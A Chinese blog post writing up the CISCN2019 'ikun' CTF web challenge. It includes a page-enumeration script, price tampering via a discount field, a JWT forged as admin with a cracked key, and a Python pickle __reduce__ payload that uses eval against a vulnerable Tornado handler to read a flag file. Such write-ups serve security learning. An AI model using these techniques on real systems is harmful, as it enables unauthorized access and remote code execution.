2020/7/16 - [CISCN2019 华北赛区 Day1 Web2]ikun - admin伪造、python之pickle反序列化

1.跑出Lv6所在page

根据提示要找LV6,再根据以下写脚本。

在这里插入图片描述

import requests;

url = 'http://d046240b-eee3-43a5-9b18-5a87217af228.node3.buuoj.cn/shop?page='

for i in range(0,1000):
    r = requests.get(url + str(i))
    if 'lv6.png' in r.text:
        print(i)
        break
    print(i)

在这里插入图片描述
lv6在181页,找到它。

2.购买lv6

先注册一个账号,每个账号的初始资金都是1000,但是要买lv6的号,要很多,远远超过了所拥有的资金。那我们就抓包改一下东西给他买下来。
发现可以改discount的值,改得很小很小就可以啦,我改成了0.000000001,买到之后又提示只有admin才可以访问该页面,我们再想办法变成admin。

3.伪造admin

解码jwt,顺便要解出key,用一个c工具解出了key1Kun
在这里插入图片描述
PS:1Kun=两年半
然后再将jwt加密,加密脚本如下

import jwt
print(jwt.encode({"username":"admin"},algorithm="HS256",key="1Kun").decode(encoding='utf-8'))

在这里插入图片描述

3.python反序列化

找到了潜伏的友军
在这里插入图片描述
下载之后根据wp说要找到Admin.py页面,内容如下

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

这里存在python反序列化的漏洞,鉴定标志:pickle库
对become进行反序列化,下面是python2脚本

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print (a)

在这里插入图片描述
直接将原来为admin的become换为得出的payload,就能写出flag.txt了。
明天学python反序列化!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

抒情诗、

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值